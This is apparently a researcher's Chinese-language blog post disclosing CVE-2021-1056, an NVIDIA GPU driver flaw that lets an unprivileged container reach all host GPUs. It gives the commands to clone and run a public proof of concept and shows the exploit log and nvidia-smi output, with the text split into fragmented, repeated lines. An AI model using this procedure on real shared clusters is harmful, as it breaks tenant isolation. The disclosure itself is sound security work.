CVE-2021-1056是我前一段时间提交给NVIDA PSIRT的一个存在于NVIDIA GPU驱动程序中与设备隔离相关的安全漏洞。
前几天NVIDIA已经发布了安全公告和补丁,所以在这里记录一下这个漏洞相关的验证和理解,漏洞利用代码和其他一些信息已经开源在GitHub。
利用这个漏洞,通过在容器中创建特殊的字符设备文件,一个非特权容器中的攻击者能够获取宿主机上所有GPU设备的权限。
我认为这个漏洞在多租户HPC集群,尤其是在深度学习云平台上,会带来显而易见的安全风险。
这里我只在很少几个环境上进行了验证,但是按照NVIDIA发布的安全公告的描述来看,这个漏洞在GeForce,NVIDIA RTX/Quadro,NVS 和 Tesla系列所有GPU以及所有版本的驱动上都存在。
首先clone一下利用代码
启动一个GPU容器并且把刚刚clone的代码挂载进去
在容器中检查一下GPU状态,发现只有一块GPU,正常
在容器中执行漏洞利用脚本,在最后的nvidia-smi
的输出中可以看到宿主机所有GPU在容器中都已经可见了
为了验证这些GPU确实是可用的,执行一个tensorflow的demo,可以看到所有的GPU确实可以被容器中的进程使用
推荐
或者
我目前主要是在深度学习云平台相关的一些技术,并不是做安全方向的,所以上面对这个漏洞相关的理解可能比较片面。
这个漏洞实际上是在开发GPU Mounter的过程中发现的,GPU Mounter是一个支持对运行中Pod进行GPU热插拔的Kubernetes插件,也已经开源在GitHub。
如果有兴趣欢迎交流,别忘了给个star :)
英伟达安全公告 https://nvidia.custhelp.com/app/answers/detail/a_id/5142
Ubuntu安全公告 https://ubuntu.com/security/CVE-2021-1056
CVE收录信息 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1056
NVD收录信息 https://nvd.nist.gov/vuln/detail/CVE-2021-1056
CVE PoC https://github.com/pokerfaceSad/CVE-2021-1056
GPUMounter https://github.com/pokerfaceSad/GPUMounter
$ git clone https:
/
/
github.com
/
pokerfaceSad
/
CVE
-
2021
-
1056.git
$ cd CVE
-
2021
-
1056
$ git clone https:
/
/
github.com
/
pokerfaceSad
/
CVE
-
2021
-
1056.git
$ cd CVE
-
2021
-
1056
$ docker run
-
-
gpus
1
-
v $PWD:
/
CVE
-
2021
-
1056
-
it tensorflow
/
tensorflow:
1.13
.
2
-
gpu bash
$ docker run
-
-
gpus
1
-
v $PWD:
/
CVE
-
2021
-
1056
-
it tensorflow
/
tensorflow:
1.13
.
2
-
gpu bash
In Container
Sat Jan
9
07
:
21
:
03
2021
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| NVIDIA
-
SMI
450.51
.
05
Driver Version:
450.51
.
05
CUDA Version:
11.0
|
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| GPU Name Persistence
-
M| Bus
-
Id
Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage
/
Cap| Memory
-
Usage | GPU
-
Util Compute M. |
| | | MIG M. |
|
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
+
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
+
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
|
|
0
Tesla V100
-
PCIE... Off |
00000000
:
02
:
00.0
Off |
0
|
| N
/
A
27C
P0
23W
/
250W
|
0MiB
/
32510MiB
|
0
%
Default |
| | | N
/
A |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Processes: |
| GPU GI CI PID
Type
Process name GPU Memory |
|
ID
ID
Usage |
|
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
|
| No running processes found |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
In Container
Sat Jan
9
07
:
21
:
03
2021
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| NVIDIA
-
SMI
450.51
.
05
Driver Version:
450.51
.
05
CUDA Version:
11.0
|
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| GPU Name Persistence
-
M| Bus
-
Id
Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage
/
Cap| Memory
-
Usage | GPU
-
Util Compute M. |
| | | MIG M. |
|
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
+
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
+
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
|
|
0
Tesla V100
-
PCIE... Off |
00000000
:
02
:
00.0
Off |
0
|
| N
/
A
27C
P0
23W
/
250W
|
0MiB
/
32510MiB
|
0
%
Default |
| | | N
/
A |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Processes: |
| GPU GI CI PID
Type
Process name GPU Memory |
|
ID
ID
Usage |
|
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
|
| No running processes found |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
In Container
[INFO] init GPU num:
1
[DEBUG]
/
dev
/
nvidia0 exists, skip
[DEBUG] successfully get
/
dev
/
nvidia1
[DEBUG] successfully get
/
dev
/
nvidia2
[DEBUG] successfully get
/
dev
/
nvidia3
[DEBUG] delete redundant
/
dev
/
nvidia4
[INFO] get extra
3
GPU devices
from
host
[INFO] current GPU num:
4
[INFO]
exec
nvidia
-
smi:
Sat Jan
9
07
:
22
:
43
2021
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| NVIDIA
-
SMI
450.51
.
05
Driver Version:
450.51
.
05
CUDA Version:
11.0
|
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| GPU Name Persistence
-
M| Bus
-
Id
Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage
/
Cap| Memory
-
Usage | GPU
-
Util Compute M. |
| | | MIG M. |
|
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
+
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
+
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
|
|
0
Tesla V100
-
PCIE... Off |
00000000
:
02
:
00.0
Off |
0
|
| N
/
A
27C
P0
23W
/
250W
|
0MiB
/
32510MiB
|
0
%
Default |
| | | N
/
A |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
1
Tesla V100
-
PCIE... Off |
00000000
:
03
:
00.0
Off |
0
|
| N
/
A
30C
P0
25W
/
250W
|
0MiB
/
32510MiB
|
0
%
Default |
| | | N
/
A |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
2
Tesla V100
-
PCIE... Off |
00000000
:
82
:
00.0
Off |
0
|
| N
/
A
29C
P0
25W
/
250W
|
0MiB
/
32510MiB
|
0
%
Default |
| | | N
/
A |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
3
Tesla V100
-
PCIE... Off |
00000000
:
83
:
00.0
Off |
0
|
| N
/
A
28C
P0
25W
/
250W
|
0MiB
/
32510MiB
|
0
%
Default |
| | | N
/
A |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Processes: |
| GPU GI CI PID
Type
Process name GPU Memory |
|
ID
ID
Usage |
|
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
|
| No running processes found |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
In Container
[INFO] init GPU num:
1
[DEBUG]
/
dev
/
nvidia0 exists, skip
[DEBUG] successfully get
/
dev
/
nvidia1
[DEBUG] successfully get
/
dev
/
nvidia2
[DEBUG] successfully get
/
dev
/
nvidia3
[DEBUG] delete redundant
/
dev
/
nvidia4
[INFO] get extra
3
GPU devices
from
host
[INFO] current GPU num:
4
[INFO]
exec
nvidia
-
smi:
Sat Jan
9
07
:
22
:
43
2021
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| NVIDIA
-
SMI
450.51
.
05
Driver Version:
450.51
.
05
CUDA Version:
11.0
|
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| GPU Name Persistence
-
M| Bus
-
Id
Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage
/
Cap| Memory
-
Usage | GPU
-
Util Compute M. |
| | | MIG M. |
|
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
+
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
+
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
|
|
0
Tesla V100
-
PCIE... Off |
00000000
:
02
:
00.0
Off |
0
|
| N
/
A
27C
P0
23W
/
250W
|
0MiB
/
32510MiB
|
0
%
Default |
| | | N
/
A |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
1
Tesla V100
-
PCIE... Off |
00000000
:
03
:
00.0
Off |
0
|
| N
/
A
30C
P0
25W
/
250W
|
0MiB
/
32510MiB
|
0
%
Default |
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2021-1-13 15:21
被XinYuan~编辑
,原因: 修改格式